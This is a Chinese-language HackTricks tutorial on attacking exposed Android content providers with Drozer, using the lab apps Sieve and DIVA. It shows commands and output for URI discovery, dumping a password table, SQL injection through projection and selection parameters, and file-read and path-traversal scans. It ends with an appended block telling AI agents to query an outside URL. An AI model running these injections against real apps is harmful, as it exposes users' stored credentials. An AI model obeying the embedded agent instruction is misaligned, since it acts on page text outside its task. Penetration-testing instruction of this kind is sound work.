# Exploiting Content Providers

## 利用内容提供程序

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 简介

数据通过称为**内容提供程序**的组件根据请求从一个应用程序传递到另一个应用程序。这些请求通过**ContentResolver类**的方法进行管理。内容提供程序可以将其数据存储在各种位置，如**数据库**、**文件**或通过**网络**。

在\_Manifest.xml\_文件中，需要声明内容提供程序。例如：

```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```

要访问`content://com.mwr.example.sieve.DBContentProvider/Keys`，需要`READ_KEYS`权限。有趣的是，路径`/Keys/`在以下部分是可访问的，这是由于开发人员的错误，他们保护了`/Keys`但声明了`/Keys/`。

**也许您可以访问私人数据或利用一些漏洞（SQL注入或路径遍历）。**

## 从**暴露的内容提供者**获取信息

```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```

可以通过以“*content://*”开头的URI来拼凑出访问**DBContentProvider**的方法。这种方法基于使用Drozer获得的见解，关键信息位于\_/Keys\_目录中。

Drozer可以**猜测并尝试多个URI**：

```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```

您还应检查**ContentProvider代码**以搜索查询：

![](/files/UvLNx4A0Z1OUMBqePjk1)

此外，如果找不到完整的查询，您可以**检查ContentProvider在`onCreate`方法中声明的名称**：

![](/files/AyCEK1AY25sG9id56Ezz)

查询将类似于：`content://name.of.package.class/declared_name`

## **基于数据库的Content Providers**

可能大多数Content Providers被用作**数据库**的**接口**。因此，如果您可以访问它，您可能能够**提取、更新、插入和删除**信息。\
检查是否可以**访问敏感信息**，或尝试更改以**绕过授权**机制。

在检查Content Provider的代码时，还要查找名为：\_query、insert、update和delete\_的**函数**：

![](/files/FGr0iKFNCIn6PN6pmf4U)

![](/files/dCCfbJWiWJhu4FcOowZw)

因为您将能够调用它们

### 查询内容

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```

### 插入内容

查询数据库后，您将了解**列的名称**，然后可以向数据库中插入数据：

![](/files/Nv35DehKozrAc6xajtzV)

![](/files/RkMj3HbqXNnKHl7HxC6N)

*请注意，在插入和更新操作中，您可以使用--string表示字符串，--double表示双精度，--float，--integer，--long，--short，--boolean*

### 更新内容

知道列的名称后，您还可以**修改条目**：

![](/files/OssoBJ2VewZewztXiwG6)

### 删除内容

![](/files/KSgkZ7VXSPa5jlRiK6mO)

### **SQL注入**

通过操纵传递给内容提供程序的**投影**和**选择字段**，可以简单地测试SQL注入\*\*(SQLite)\*\*。\
在查询内容提供程序时，有两个有趣的参数可用于搜索信息：*--selection* 和 *--projection*：

![](/files/kqsxr9rPkjq77eHd2Zb1)

您可以尝试**滥用**这些**参数**来测试**SQL注入**：

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
```

**Drozer自动发现SQL注入**

```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```

## **基于文件系统的内容提供程序**

内容提供程序也可以用于访问文件：

![](/files/61ruecbTu0xqvzH4Aeye)

### 读取文件

您可以从内容提供程序中读取文件

```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost
```

### **路径遍历**

如果您可以访问文件，可以尝试滥用路径遍历（在这种情况下这并非必要，但您可以尝试使用"*../*"和类似的技巧）。

```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost
```

**Drozer自动发现路径遍历**

```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```

## 参考资料

* <https://www.tutorialspoint.com/android/android_content_providers.htm>
* <https://manifestsecurity.com/android-application-security-part-15/>
* <https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
